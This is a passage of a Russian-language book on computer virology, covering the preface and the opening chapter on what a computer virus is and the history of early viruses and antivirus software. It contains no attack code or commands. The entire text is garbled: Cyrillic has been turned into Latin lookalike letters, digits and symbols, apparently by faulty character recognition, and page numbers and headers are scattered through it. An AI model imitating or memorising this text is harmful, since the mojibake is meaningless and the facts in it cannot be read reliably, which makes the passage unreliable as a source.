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Jonvimu pykamu, xumpocms npomus xumpo-
Ccmu, pasym npomus UHCMUHKma, cula npomue
CUIbL, MPOE CYMOK He OCMAHABIUBASCH, ZHAMD
OJleHsL uepe3 OYperom, HACTUZHYMb U NOBAUMD
HA 3eMIII0, CX8AMUB 3A POZQ...

A. u B. Crpyraikue. «O6urtaemblii o0CTPOB»

BBeaAeHve

Tema 3amuThl KOMITBIOTEPHONW WH(MOPMAIMK CTajla OYeHb TOIMYJISTPHOI
B mocyiesiaue aecatusetus. CBsI3aHO 9TO TPEK/IE BCETO ¢ TOBCEMECTHBIM
paciipocTpaHeHrueEM BBIUMCJIUTEIbHON TEXHUKU, BHEAPEHUEM €€ ITPaKTu-
YecKH BO Bce chepbl uesroBedeckoil aesreabHocTH. JIioObie HapyIieH s B
paboTe BEIYMCIIUTENBHBIX CHCTEM C KasKIBIM FOJOM CTAHOBATCS JIJIS 4€JI0-
BeKa Bce 6oJie3HEHHee U OTTacHee.

OpHoll U3 axkTyaabHEeHIIUX IPoOJeM, CBA3AHHBIX CO <3I0POBHEM»
KOMIIBIOTEPOB, ABJIACTCA HpO6JI€Ma 3alllUThl X OT KOMIIbIOTEPHBIX BH-
pycos. ITocsie 26 anpess 1999 roxa, korna cornu Toicsy [ITOBM B mupe
ObLIU BBIBEJEHBI U3 CTPOsI B pesyJibrate aktusaiuu supyca Win32.CIH
(«YepHOOBIIBCKOTO» ), B 9TOM YsKe HUKTO HE COMHEBAETCS.

Ho nmocroBephoii u, riiaBHoe, 10Jie3HOM MH(GOPMaIUKU 110 BUPYCOJIO-
rudeckoil TeMatuke HeMHoro. CyliecTByiomue xe IyOaMKalul MOKHO
YCJIOBHO Pa3/IeJIUTh HA J[BE TPYIIIILL

HepBon COCTaBJIAIOT KHUTW U CTAaTbH, HAITMCAHHBIE «OPTOJIOKCAMU» —
AaBTOPaMHU M3BECTHBIX aHTUBUPYCHBIX IPOTPaMM ¥ COTPYIHUKAMU Opra-
HU3aIH, 3aHNMAIONTUXCS 3alTUTON KOMITbIOTepHON mHbopMarun. Kax
[IPaBUJIO, TH IIyOJUKALMU PACCUMTAHbI HA MAaCCOBOIO YMTATENs U Ha-
npasjieHbl Ha (OPMHUPOBAHKE Y HEro JIUIIb MUHUMAJIbHO HEOOXOIMMO-
'O YPOBHA aHTI/IBI/IpyCHOfI IrpaMOTHOCTH. Texanyeckux lIeTaJIefI B TaKHUX
myOGJIUKAIMSIX MaJIo, @ KOHKpPeTHast HH(POPMAIIUst CBOIUTCS K OMHUCAHUIO
BHELIHUX [IPOSIBJIEHIIT Pa3IMYHbIX BUPYCOB U IPABILI PAaOOThI ¢ TEMU HJIU
MHBIMU aHTUBUPYCaMMH.

Jlpyrast Tpymmna myOJuKAluil MPUHAIIEKUT MEPY «IKCTPEMHUCTOB.
It paboThl COLEPKAT AOCTATOYHO MOAPOOHBIE OIMCAHUS KOHKPETHBIX
AJITOPUTMOB, NCXOJAHDBIE TEKCTbhI BUPYCOB, COBETHI TI0 X PACIIPOCTPaHE-
Huto. Kak mpaBuiio, aBTopaMu ABJISIOTCS JIIOJM, HATTUCABIINAE HECKOJIb-
KO MPOCTBIX BUPYCOB U TOPSIIINE JKEJTaHUEM JJOHECTH CBOE «yMEHUE» JI0
Beex skesaronmx. KHUTH 1 ctaTbi 0100HOTO COPTAa PACCUNTAHBI TPEUMY-
[IECTBEHHO Ha HEB3bICKATEJBHBIX JIOOUTENEN «kKapeHoro». CoorBer-
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CTBEHHO, B HUX COJCPKUTCS CAUIIKOM MHOTO SMOIIUI U CJIUITKOM MaJjio
JIENICTBUTEJIBHO T10JIE3HON MH(POPMAIIUH.

Kuwura, koTopas Jie;kUT 1iepes; BAMU, He OTHOCUTCS HU K [1E€PBOIi, HU
KO BTOPOU rpyiie. ABTOP TOCTapajcs MPOUTHU M0 Y3KOUW TPaHU MEXKIY
«6e30TBETCTBEHHBIM TOJICTPEKATEIHCTBOM K HAIUCAHUIO BUPYCOB» U
«XaHJKECKMM yMOJIYaHUEM HeOOXOMUMBIX TOpoOHOCTEl». B KHITE pac-
CMATPUBAIOTCSA OCHOBHBIE TIPUHIIUIIBI OPTAaHU3AIUKA KOMIIBIOTEPHBIX BU-
PYCOB, METOJIMKK UX OOHAPY KEHUS, U3YYEeHUs U 00E3BPEKUBAHU.

Hy:kna sin rakast kuura? ITpezcraBisieTcs, 4T0 IPOCTO HeoOXoAnuMa.

IIpesx e Bcero, 3HaHNE TEXHUYECKHX IOAPOOHOCTEH yCTPOHCTBA BUPY-
COB ¥ HPUHIIUIIOB UX OOHAPYKEHUS TIOMOKET TI0JIb30BATENI0 IPAMOTHO
MIOCTPOUTD M UCIOJIB30BATh AHTUBUPYCHYIO 3AIIUTY.

Bo-BTOPBIX, HEJb3s UCKIIOUUTD CUTYAITNIO, KOT/Ia BUPYCOJIOT-TIpodec-
CHOHAJI ITPOCTO (PU3MYECKU He ycIeeT MPUNTH Ha ITOMOIIlb, U PACCYUTHI-
BaTh B YCJOBUAX JeUINTA BPEMEHU NPUIETCS TOJBKO HA CBOW CHJIbI,
3HAHUSA ¥ yMeHus. Takas KHUra MOXKET MOCJAY/KUTh B KauecTBe yueOHUKa
U CIIPABOYHHUKA 110 CAMOCTOSITEIbHOMY PEIIEHHIO TPOOIEMBL.

B-TpeTbux, KOMIIbIOTEPHAS BUPYCOJIOTHS IIUPOKO IPUMEHSET METO/bI
caMbIX Pa3IUYHBIX 00JACTell YeJOBEYECKOTO 3HAHUS: TEXHUKH, UH(DOP-
MaTUKM U MaTeMaTuku. V3ydenue ycTpoiicTBa BUPYCOB U IPUHIIUIIOB UX
pacIio3HaBaHMs TOMOXKET CYIIECTBEHHO MOBBICUTD CBOIO KBATM(DUKAIHIIO.

B-ueTBepThIX, B HACTOsIIIEe BpPeMsi Ha3pesa OCTpasi HeEOOXOIAUMOCTD
B CHEIUATNCTAX, KOMIIETEHTHBIX B OOJACTH KOMIIBIOTEPHOI BHPYCOJIO-
YU, HO TIPOU3BOJMTENN KOMMEPUYECKUX aHTUBUPYCOB JIEJIATCS CBOUMU
3HAHUSMU U YMEHUSIMU JIUIIb ¢ Y3KUM KPYTOM <ITOCBsiIIIeHHbIX». He Ha-
cTaJIa Jii Iopa PacKpbITb HEKOTOPBIE MX CEKPETHI?

Haxonertr, n3yyaTb MUP KOMIIBIOTEPHBIX BUPYCOB IIPOCTO OYE€HDb UHTeE-
pecto!

Wtak, B KHUTE pacCMOTPEHBI BCE THUIIBI CAMOPA3MHOKAIONIUXCS MTPO-
rpaMM, TIOJYYUBIINX PACIIPOCTPAHEHME B TIOCIEHIO0 YeTBEPTh BEKA:
3arpy304Hble BUPYCHI;

(aitsiosbie Bupycor 17151 MS-DOS, Windows Becex Bepeuii u UNIX-
MO0GHBIX OIEPAIMOHHBIX CHCTEM;

maxposupycsl st MS Office;

CeTeBbIE, IOUTOBBIE U «<MOOUJIbHBIE» YEPBH;

«3K30TUYECKUES> TUITHI BUPYCOB.

Tak HasbIBaeMble «TPOSIHCKKE MPOrPaMMbl», He CIOCOOHBIE K CaMO-
CTOATEJLHOMY Pa3MHOKEHUIO, B KHUTE He PACCMATPUBAIOTCA.

[TpuBenenbl HEOOXOAUMBIE CBEAEHUSI MO CUCTEMHOW OpraHU3aluu
PA3JINYHBIX CpeJl, TIPUTOAHBIX [Tl CYIECTBOBAHUS KOMIBIOTEPHBIX BHU-

00 00
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pycoB, — Hocureseil WH(POPMAIMU, ONEPAIMOHHBIX CHUCTEM, MaKeTOB
MPUKJIAIHBIX TPOrpamMM. TakKe 3HAYMTENbHASI YaCTh KHUTH MOCBSIIEHA
PaccMOTPEHHIO MATEMATUYECKUX TIPUHITUIIOB U KOHKPETHBIX aJITOPUTMOB,
JIeXKAIMX B OCHOBE TOKMCKA, PACIO3HABAHUS U YAJEHUST BPEIOHOCHBIX
POrpamM.

KoHeuHo, KHUTa paccyMTaHa Ha JIOCTATOYHO KBAJU(UIIMPOBAHHOTO
uynrarens. Heo6XoauMo BJajieHre mporpaMMupoBanreM Ha si3bikax Cu u
Accembuiep aist i80x86 /Pentium xoTst 661 Ha YPOBHE MHCTUTYTCKUX KYP-
coB. Jlyig a/IeKBaTHOTO BOCTIPUATHSI MATEMATHUYECKUX ACIIEKTOB HEJIHIII-
HUMU Oy/yT 3HAHWS B PaMKax JAUCIUIUINH «/[MCKpeTHAass MateMaTHKa»
u «J/luddepenimaibibie ypaBHEHNsI», U3yYaeMbIX Ha MJIA/IIMX Kypcax
TeXHUYECKUX By30B. Ho aBTOp Ha/eeTCst, 4TO 9TO He CTAHET TIPENSATCTBU-
eM JIJIst TIBITJIMBOTO YUTATE IS, JKEJIAIONIEro 3aHAThCSA YBIEKaTeAbHEeINM
3aHATHEM — OXOTOH 32 KOMIIBIOTEPHBIMU BUPYCAMHU.



NABA ]

Obuwine cBeaeHUs
O KOMNbIOTEepPHbIX
BUpYyCax

B cpene KOMIBIOTEPHOI ¥ OKOJIOKOMITBIOTEPHO# 06IECTBEHHOCTH CJIO-
JKUJIOCD TIPE/ICTaBJICHIE O KOMIIBIOTEPHOM BUPYCE KaK O HEKOEM HeyJIo-
BUMOM 3JICKTPOHHOM MUKPOOPraHU3Me, Iy TeIIeCTBYIONIEM C MAIllnHbI Ha
MaIlluHYy U HeOOPATUMO PA3PyHIAIONIEM BCE, /10 Y€T0 CIIOCOOEH JAOTAHY Th-
Cs CBOMMM OTPABJICHHBIMU BUPTYAJIbHBIMU KOITSIMU. A IO CTpaHUIIAM
MaJIOHAYYHO-(DaHTACTHUECKUX MTPOU3BEICHUIT 1 GYIbBAPHBIX JKyPHATIOB
KOUYIOT «6O€EBbIE BUPYChI» U «BUPYCHI-yOUNIIbI», SKOOBI Pa3BOAMMbBIE
MCI0JIb3yeMble HEXOPOIIMMHU XaKepaMu JIJIsl CBOUX 3JI0BEIINX IeJIei.
Yro ke MPeICTaBIISAIOT COG0N KOMITBIOTEPHBIE BUPYCHI HA CAMOM JIeJie?

11. HTO Takoe «KOMNLIOTEPHbLIN BUPYC»

Iloxcanyiicma, mozda ewe odno onpedenenue,
oueny 6o3svuuenoe u 61azopoonoe.

A. u B. Crpyraukue. «ITukHuk Ha 060unHe»

Eciit yriyOuThCst B UCTOPUIO TIPOUCXOKIEHUS CTIOBA «BUPYC», TO MOKHO
OTMETHUTD, UTO «HACTOMIIUE> OOJIE3HETBOPHBIE BUPYCHI, TO €CTh CIOKHbIE
MOJIEKYJIbI, TTapa3uTHUPYIOINe Ha KMBBIX KJIeTKaxX pacTeHUH M OpraHus-
MOB, IIOJIYYHUJIN CBO€ HAMMEHOBaHE€ B COOTBETCTBUU C JIATUHCKHUM CJIOBOM
VITUS, KOTOPOE JIOCJIOBHO MEPEBOJIUTCS KAK <«SI/1». ITOT TEPMUH TTPUHAJLJIE-
KUt rostaniy Maprtuny Beitepunry, kotopsiii B camoM koHIle XIX Beka
B HAYYHOU TUCKYCCUM C TIEPBOOTKPHIBATETIEM BUPYCOB PYCCKUM YUECHBIM
JI. Y. VIBaHOBCKMM OTCTauBaJI TUIIOTE3Y, YTO OOHAPY/KEHHbIE HE3a10JII0
JI0 3TOTO CTPAHHbIE MUKPOCKOIMYECKUE OOBEKTHI SBJSIOTCS SIOBUTHI-



16 <« OOume cBeAeHIS1 O KOMMNBIOTEPHBLIX BUPYCax

MU BelilecTBaMi. VIBAHOBCKHII JKe CUUTAJ, YTO OHU <«KHUBBIE» U MOITO-
MY TIPEICTABJISIOT COOON HE «BEIECTBA», HO «CYIIeCTBa». B HacTosiiee
BpEMsl [IPU3HAHO, YTO BUPYCHI U HE «BEHIECTBA», U HE «CYIIECTBA». ITO
ABTOHOMHBIE «OOJOMKH» U <UCIIOPYEHHBIE JIETAIN» HACJIECTBEHHOTO
arnapara KJeToK, ClIOCOOHbBIE BHEAPSITHCS B JKUBYIO KJIETKY U <IIeperpo-
rpaMMKPOBaTh» €€ TaKKM 0Opa3oM, 4ToObl OHa BOCIIPOM3BOAUIA He ceds,
a BCE HOBBIE 1 HOBBIE <«O0JIOMKHI» U «JI€TAJIN>.

a (6} B

Puc. 1.1 < «HacToawuii» BUpyC 1 ero nepBoOTKPbIBATENN:
a) BUpycC «TabayHoi Mo3aunkn»; 6) . V. iBaHoBckuid; B) M. BeepuHr

Takum 00pasoM, B IOHATHU «BUPYC» IVIABHBIM Cedyac CUMTAETCs He
SIIOBUTOCTD U BPEJJOHOCHOCTb, a CIIOCOOHOCTH K CAMOBOCIIPOU3BEAEHHUIO.
WTak, KOMIIBIOTEPHBIN BUPYC — 3TO:

nporpamMmma, crocobHasi K HeCaHKLMOHUPOBaHHOMY CO34aHNI0 CBOMX
QYHKUNOHAJIbHO UAEHTUYHbIX KOMUA.

B maHHOM OTIpe/IeJIeHUH PAacCMOTPUM TIOPOOHEE TPU KJFOUEBBIX TI0-
HATUA.

Bo-1epBbiX, OCHOBHBIM OMPEAETSIONINM TTPU3HAKOM BUPYCA SIBJISIET-
cs1 yMEHHe BOCIIPOU3BOUTHCS, TEHEPUPOBAThH cebe Mom00HbIe OOBEKTHL.
WmeHHO 9Ty YacTh olpe/ieieHns uMedt B BUuy B cepemae 80-X To/1oB aMe-
pukanckuii mateMaTk @. Kosw, BriepBble B UCTOPUY TTPOU3HECST CIOBA
<«KOMTIBIOTEPHBIN BUPYC» (XOTSI caM OH YBepsieT, YTO aBTOPCTBO TEPMUHA
MPUHAIICKNT ero Kostere JI. Ajmemany). B Te To/1bl BO3MOKHOCTD CyTIe-
CTBOBAHUS BUPYCOB PACCMATPUBAIACH B OCHOBHOM TOJIBKO TEOPETHYECKH,
1 aJITOPUTMbBI X CI)yHK]_[I/IOHI/IpOBaHI/IH OIMCBIBAJINCH HE Ha A3bIKaX IIPO-
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rpaMMUPOBaHUs, & B TEPMUHAX CUCTEMbI KOMaH[[ MaTeMaTnyeckux ¢op-
MaJIM3MOB THUIIA «MAIIMHBl THIOPUHTA» UM «HOPMAJIbHBIX JITOPUTMOB
Mapxosas.

Bo-BTopbix, noustue «OyHKIIMOHATBHON WJIEHTUYHOCTHY KOIUI BU-
pyca BBEJICHO B OIpe/iesieHne BBU/LY TOTO, YTO CYIIECTBYET KJIACC TaK Ha-
3bIBAEMBIX NOAUMOPPHBLIX BUPYCOB, IBA PA3JIMYHBIX 9K3EMILIIPA KOTOPBIX
BHEIIIHE MOTYT HE UMETh HUYETO OOIIETO, HO BBIIOJIHSIOT OJHU U TE JKe
NEHCTBYS B COOTBETCTBUU C OJJHUM M TEM JKe aJroputMoM. Takum obpa-
30M, MTOJIUMOPGHBIE BUPYCHI UJICHTUYHBI TOJBKO C TOYKHM 3PEHUS BBITIOJI-
HSAEMbIX UMU (DYHKITHIA.

Haxoner, nousitue «HeCaHKIMOHUPOBAHHBIN» O3HAYAET, YTO BbIIIIE-
VIOMAHYTO€ CO3ZIaHMe CBOMX KONUI MPOUCXOAUT BHE 3aBUCHUMOCTH OT
JKeanust nosibzosaresist. Jliobas ysaxkaiomias ceds onepanuoHHas CucTe-
Mma (zanpumep, MS-DOS) toxke crocobHa KOIMpoBaTh caMoe ceds, HO
BUPYCOM He SBJISETCS, TIOCKOJIBKY TIPOIECC ITOT IPOUCXOIUT C BEIOMA
YyeJsioBeKa.

OT KOMIIBIOTEPHBIX BUPYCOB HEOOXOAUMO OTJINYATH TAK HA3bIBAEMbIE
MPOSAHCKUE NPOZPAMMbL, He 00NANAIONTIE CIIOCOOHOCTHIO K CaMOPa3MHO-
JKEHUIO U Mpe/lHa3HaYeHHble NCKIIOYUTENbHO /I BBIITOJTHEHUST HeCAaHK-
[IUOHUPOBAHHBIX (KAaK IPaBUJIO, JIECTPYKTUBHBIX) elicTBuil. ;KypHa-
JIUCTBI U MaJIOKBAJINDUIIMPOBAHHBIE TMOJIb30BATEIN YaCTO CMEIINBAIOT
MOHATHUS BUPYCA M TPOSHCKOW IPOTpaMMbl. A Be/lb MEKIY «BUPyCaMu»
U «TPOSHAMM» TaKas Ke Pa3HUIla, KaK MEXKIY «3apas3oil» U «OTPaBOii».
Mbl Xe He TOBOPUM «OTPABUJICS TPUIIIIOM> UJIN «3aPa3UIICd IIMAHUCTBIM
KasmeMs, BepHo? BoT u He Haso myTaTh!

Kiace TpOstHCKUX IIPOrpaMM HAMU PAcCMaTPUBATHCS He OyIeT.

1.2. HeckonbKO UcTopundecknx 3ameYaHuin

Amo Onunnas ucmopus, Komopyio K momy xe
UBTLONCUMD 6 OOUETPUHAMDIX MEPMUNAX OUCHD
mpyono.

A.u B. Crpyrankue. «Xpomas cyapba»

CymecTByeT MHOXKECTBO B3IVISII0B HA MCTOPUIO BO3HUKHOBEHUS M Pas-
BUTHSI TIPOOJIEMBI KOMITBIOTEPHBIX BUPYCOB, JIOBOJIBHO CHJIBHO Pas3JInyar-
IIUXCST B OTHOIIEHIH TOTO, KaK¥e COOBITHSI CJIEYET CUUTATD JICHCTBUTEb-
HO BaKHBIMH, B KaKOW TI0CJIEIOBATELHOCTH 1 KOTZIA OHU TTPOUCXO/INJIN,
JIa U IPOUMCXOMIIHN Jit BooOIiie. TTornbitaeMcst U MbI IaTh KPATKUil OUepK
3TOHN UCTOPUH, OCHOBAHHBIN HA CUHTE3€ PA3JTMYHBIX MHEHUH.
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[Ipex e Bcero cieayer OTMETUTD, YTO UJiesT KBAa3UKUBBIX KOMIIBIOTEP-
HBIX OPraHU3MOB OBITOBAJIA B XY/I0KECTBEHHO JITEPATyPe U B MacCCO-
BOM CO3HAaHUU 33JI0JITO JI0 TOTO, KaK TIOSIBUJICS TEPBBII «HACTOSITIIHIT»
komrbioTepHbIi Bupyc. H. H. Be3pykoB 1 nokasarenbcTBa aTOTO TE3UCA
CCBLJIAETCST HA MHOCTPAHHbIE UCTOYHUKY [3], HO MOXKHO HAUTH 1 OTEYeCT-
BeHHBbIe npuMepbl. Hanmpumep, B dantactuueckom pacckaze /l. busen-
kuHa «Dumrocodus nMeHn», HaMCaHHOM B KoHIle 70-x rogoB XX Beka,
CHCTEMBI YTIPaBJIEHUsI 3BE3/[0JIeTa TIO/IBEPTalOTCS aTaKe CO CTOPOHBI KH-
GepHETUYECKIX MUKPOOPTAHU3MOB, BO3HUKIIUX B PE3YJIBTATE <MY TAI[HIT»
3aIUTHO-PEMOHTHBIX MUKPOYCTPOMCTB KOPaOJIsl.

Kpome TOr0, K MOMEHTY CO3/IaHUS TIEPBOTO «HACTOSIIIETO» BUPYyCa YiKe
CYIIECTBOBAJIO MHOKECTBO aHATMTHYECKUX (HarpuMep, pabots hon Heii-
MaHa) u nporpaMMubix (Hanpumep, yepBu Creeper u Xerox) mojereii,
COJIepIKAIUX UIeN CAMOKOITMPOBAHUS KOMITBIOTEPHOTO Koia. OTrpOMHYIO
poJib B paszpaboTKe W U3yYeHUH TAKUX MOJIEJIeH ChIrpas aMepUKAHCKUM
matematuk @. Kosn. On B nepBoii mososune 80-x rogoB XX BeKa aKTHB-
HO M3Y4aJl CAMOPA3MHOKAIOIIIECST KOMITbIOTEPHbIE MEXAHI3MBI C TeOpe-
THYECKUX TIO3UIHIL, OIyOJIMKOBAJ HECKOJIBKO HAYYHBIX PAOOT U 3aIUTHUIT
B 1986 . Ha 6ase ynusepcurera IOxHON KamubopHun JOKTOPCKYTO Juc-
CepTalnio Ha BUPYCOJOTHYECKYIO TEMY.

Hamnpasienue pabor @. KosHa He ObLIO HU I KOTO CEKPETOM, OH
AKTHUBHO yOJIMKOBAJICS B PA3JINYHBIX HAYYHBIX U3aHusX. [loaToMy He-
KOTOPBIE 9KCIIEPUMEHTBI 110 CO3/IaHUI0 KOMITBIOTEPHBIX BUPYCOB, CKOpee
BCero, OBIIM BBITIOMHEHBI JIIOJbME, 3HAKOMBIMHU C €ro paboTamu, — CTy-
JIEHTaMU 1 acTiipaHTaMu yueOHbIX 3aBeennii. Canraercsi, HApuMep, 4To
supyc Lehigh 6611 Hanucan 8 1986—1987 rr. crynentom Jlexaiickoro yHu-
BepcuteTa mo umeHn Ken van WyKk ¢ 11e/1p10 ipakTHaecKoi HILTI0CTPaIiy
teopernyeckux pazpaborox @. Kosna.

Brpouewm, neckosbko patiee (BeposTHO, ele B Hauase 1986 r.) aByms
makucTaHmnamu, Opatbsimu bacugom u AmskagoM AJBY, OBLT CO3/IaH U pac-
MIPOCTPAHUIICS TI0 MUPY B 3arPy30YHBIX CEKTOpax AUCKeT BUpyc Brain,
KOTOPBIN JIMIIb CIYCTsI HECKOBKO MeCAIeB ObLT 0OHAPYIKEH, OTIO3HAH
UMEHHO KaK «KOMIILIOTEPHBINH BUPYC» U TIOAPOOHO U3YUEH B YHUBEPCUTE-
te mtara /lesnasap, CIITA.

W3BecTHBIT poccutickuii mporpaMMuctT AHTOH UMKOB yTBepsKIa, 4To
MPUMEPHO B TO JKE€ BPEMSI M B UCCJIEA0BATETLCKIX TEJIAX O HAMHCAH
U PacIpOCTPaHEH 110 KOMIIBIOTEPaM MOCKOBCKUX OpTaHU3aiuii Ge3bIMsiH-
HBII 1 GE3BPEHBIN BUPYC, KOTOPBI TIPOKILI 10 KOHIIA TO/la U MUPHO Ca-
MOYHUYTORUJICS. HU TIOATBEpANTD, HU OMPOBEPTHYTH TOTO (haKTa HU-
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KTO, KpoMe camoro YiskoBa, He cioco0eH — B Te BPEMEHA BUPYCOJIOTHST
elle He CyIIecTBOBa/Ia HM KaK HayKa, HU Kak podeccusl.

1987 rox mpuHec ele psiji 3HaMEHATEIbHBIX coObITHi. Panbd Biop-
rep (Tepmanus) onyOnukoBaa B cBoell Kuure [36] MeTon sapakeHis
COM-nporpamm 1 IpUBeJ B KAY€CTBE TIPUMEPA UCXOHBIN TEKCT BUPYyca
Vienna.648, siko6bl HanmucaHHOro KeM-To ApyruM. B Vispauie ObLin cos-
naHbl BUpYChI ceMeiicTa Jerusalem (Yepuas nsrauia), B HoBoil 3enan-
mn — supyc Stoned (Marijuana), a B TepManuu — BUPYChI ceMelicTBa
Cascade. BosbIIMHCTBO YIOMSIHYTBIX BUPYCOB OY€Hb OBICTPO PacIpo-
CTPAHUJIUCH TI0 MUPY, 3 HEKOTOPbIe U3 HUX (HAIIPUMED, BUPYChl MHOTO-
YUCJIEHHOTO ceMelicTBa Stoned) BCTpedaroTest M3peKa B 3arPY304HBIX
CEKTOPax JUCKET Jaxe ceilvac.

ABTOPOB TIEPBBIX BUPYCOB TIO MTPABY MOKHO CYMTATH OUEHD TAJAHTIN-
BBIMHU IIPOIPAMMUCTAMHU, MOCKOJbKY OHM CaMOCTOSITEJIbHO OTKPBIBAJIN
mocesie HEM3BECTHBIE OCOOEHHOCTH OTIEPATIMOHHON CUCTEMBI U YUIIUChH
nostb3oBaTbed nmu. Ho mpumepno k 1988 1. Hauasna ckiaspiBaThes cutya-
11, KOTJIa B «/IMKOH MPUPOie» OKA3BIBAJINCH HE TOJBKO CaMH BHUPYCHI,
HO U MX THIATEJIbHO IIPOKOMMEHTUPOBAHHbIE MCXOJHbIe TeKCThl. U, kak
CJIEJICTBYE, HAPSILY C OPUTUHATBHBIMU Pa3pabOTKaMU CTATIH TOSABJISTHCS
BUPYCHI, CO3IAHHBIE TIO YYKOMY 00pa3y ¥ Mopo6uio, HATIPUMED KJIOHBI
Bupyca Vienna. [To aTomy noBojy xouetcst nponutrposars B. B. Mas-
KOBCKOTO:

Yenosek, BriepBbie GopMYIMPOBABLLNI, YTO «BaX/bl 1BA YETbIPE», —
BEJIMKNV MaTemMatuk, eC/v Aaxe OH roJy4us 9Ty NCTUHY U3 CKIaabl-
BaHWS BYX OKYPKOB C ABYMSI OKypKamu. Bce aasnbHewme aioam, XoTs
Obl OHY CK8abIBaIN HEN3MEPVMO OOIbLUNE BELLM, HANPUMep rnapo-
BO3 C rapoBO30M, — BCE 3Tv JIIOAN — HE MaTtemMartuku... Ho He Hano
OTYETHOCTb 0 PEMOHTY NapoBO30B 0CkbLIaTb B MareMarnyeckoe
o6uecTBo 1 TpeboBaTb, HTOObI OHa paccMmaTpuBasack Hapsiay C reo-
meTtpueri Jloba4yeBckoro.

Buaumo, Bupyconucatean He ObLIM 3HAKOMBI ¢ MHEHHEM BEJIHKOTO
COBETCKOTO TI03TA, MOITOMY KOJUYECTBO BUPYCOB, HAITMCAHHBIX 110 MO-
THUBaM IyKUX PazpaboTOK, CTAJI0 YBEJIUIMBATHCS B TECOMETPUIECKON TTPO-
IPECCHH.

Bripouem, naneko He Bce BHUPYCONMCATETN 3aHUMAJHMCH TJIATHATOM.
Baskneiimum coObrrrem 1988 1. MOKHO cUMTaTh SIIMAEMIIO OPUTMHAIBHO-
r0, HAMHOTO OTIEPEUBIIIETO CBOE BPEMSI «CETEBOTO YEPBSI», HAITUCAHHOTO
P. Moppucowm, actupaatom Kopuesibekoro yausepcutera (CIITA). Stor
BUPYC B TeYeHUE HECKOJIbKIX HOAOPhCKUX AHEN CyMes PAacIpOCTPaHUTh-
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cs1 110 yHuBepcurerckuM 1 kommepueckum cetsim CIITA, Kanaser n Heko-
TOPBIX APYIUX CTpaH, 3apasus Gosee 6000 KOMIIBIOTEPOB.

Taxxe k 1988 r. (1o muenuio H. H. Bespykona, [3]) cienyer oTHecTn
repBbIe CJIydyan IPOHUKHOBEHUS «MMIIOPTHBIX» KOMIIBIOTEPHBIX BUPYCOB
na teppuropuio CCCP. IIIupokuii 00uiecTBeHHbII PE30HAHC MOy YNIN
HKCIEPUMEHTBHI TI0 OOHAPYIKEHUTIO U U3YYEHUIO BUPYCOB, TPOBOJMBINTE-
ca B 1989 1. Bo BpeMmst pabGOThI <JIETHEl MeKAYHAPOIHOM KOMIBIOTEPHOI
mkosiel» (T. [TepeciaBib-3anecckuit). VIMeHHO B 3TU TOJBI MOSIBUINCH
repBble yauHble aHTUBUPYCHBIE TTPOTPAMMBI M HAYaJId CKJIA/IBIBATHCS
KOJIJIEKTUBBI JIIOJICH, 10 HACTOAIIETO BpeMeHU TTPOhecCOHATBHO 3aHU-
MaIOIUXCs pa3paboTKOil cpeacTB aHTUBUPYCHOI 3amurbl. Cpeau ore-
YeCTBEHHBIX <«BETEPAHOB AHTUBUPYCHOTO (DpOHTA», KOTOPbIE HadaIn
CEPbE3HO 3aHUMAThCs MTPOGJAEMO 3aIUTHI OT KOMIBIOTEPHBIX BUPYCOB
UMEHHO B Te rozabl, MoxkHO orMeTuTh kak /. H. Jlosuuckoro, E. B. Kac-
niepckoro, /I. O. Ipsasnosa, B. B. borganosa, Tak u eliie HECKOJbKO He Me-
Hee GPKUX UMEH.

K 1990 r. Bo BceM Mupe 6bLJIO CO3[[aHO BCETO OKOJIO COTHU BUPYCOB,
pUYeM KajKAbli HOBBII PaCIPOCTPAHSICS MPAKTHYECCKH OECrpersT-
CTBEHHO, BbI3bIBast O0JIee W MeHee IUPOKYIO araeMuio. CBs3aHO 3TO
OBLIIO TIPEsK/e BCErO ¢ HEJOCTATOYHON HH(POPMHUPOBAHHOCTHIO MOJIB30-
BaTesell 1 HEPa3BUTOCTBIO CPEACTB aHTUBUPYCHOU 3anuThl. Ho Bckope
cutyaiug uamMmenusiaach. C 0JHON CTOPOHBI, 1T0JIb30BATEIN HAKOHEII-TO T10-
HSIU OTIACHOCTH OECKOHTPOJIHOTO PACIIPOCTPAHEHUSI BUPYCOB, MHOTHE
13 KOTOPBIX CojepkKajiu BpefloHocHble (parmMenTol. C gpyroii — Havasa
HabupaTh 000POTHI MHAYCTPUS AHTUBUPYCHOIO IIPOrPAMMHOIO 0Gecie-
vyeHus1. B Haleil crpaHe aKTUBHO UCIIOJIb30BAJIACH YCIOBHO-0eCILIaTHAS
anTuBupycHas nporpamma AidsTest /1. H. JIosuHcKOro, HeCKOJbKO MeHee
nomnyJssapen 6bu1 naket «Jokrop Kacnepckuii» E. B. Kacuepckoro. 3a py-
6exxoM mauposan komiiekT Scan/Clean or John McAfee, Findvirus ot
Alan Solomon 1 Norton Antivirus or Peter Norton Computing (Bmocea-
CTBUU 9Ta TOProBas MapKa CTaja COOCTBEHHOCTBIO GupMbl Symantec).
Bupouewm, miocsie il aHTUBUPYC MOT U <HE POJAUTBCSI», TIOCKOJIbKY OYK-
BaJIbHO I1apoii J1eT panee, B Kouue 1980-x rogos, [Tutep Hoprow my6my-
HO ¥ TPOMOIJIACHO 3aSBJIAT O MUMDUUHOCTH BUPYCHON YrpO3bl M CPAaBHU-
BaJ ee ¢ Yrpo30i KPOKOJIUJIOB, JKUBYIIIUX B HbIO-HOPKCKOU KaHATU3AIIUN.
Ho, k cyacTbio, 6ICTPO COOOPA3UII «4TO II0YeM» U OJIATOCTIOBUI PA3BUTHE
AHTUBUPYCA, HA3BAHHOTO ero uMeHeM'.

! KCT&TI/I, CITYyCTA 15 J1eT mosIBUJINCH 1 peasibHble COO6HI6HI/I$I O IIOMMKE aJ1lJIuraTo-

POB B KaHAJIN3AIIUAX aMEPUKAHCKUX I'OPO/JOB.



o

HecKoAbKO NCTOPUHECKIX 3ameHaHnn <% 21

Pasymeetcst, 6oJiee MUPOKOE PACTIPOCTPAHEHHUE TTOJIY AT BUPYCHI, UC-
MOJIb3YIOIIE CBEKUE M OPUTHHATIBHBIE CIOCOOBI PACTIPOCTPAHEHUS U 3a-
paxenus. Cpenu «iaypearoBy» 1989—1991 rr. MOKHO OTMETUTD TIpEK/IE
BCEro BUPYCHI «H0JTapcKoil cOOPKU», CBs3aHHbIe ¢ pazpaboTKaMu Ta-
JIAHTJIMBOTO ¥ IIJIOZIOBUTOTO MPOTpaMMucTa 1o 1pospuiity Dark Avenger
1 ero «CIoABMKHIKOB», a uMerHo Eddie, Vacsine, Doodle (B Tom urciie
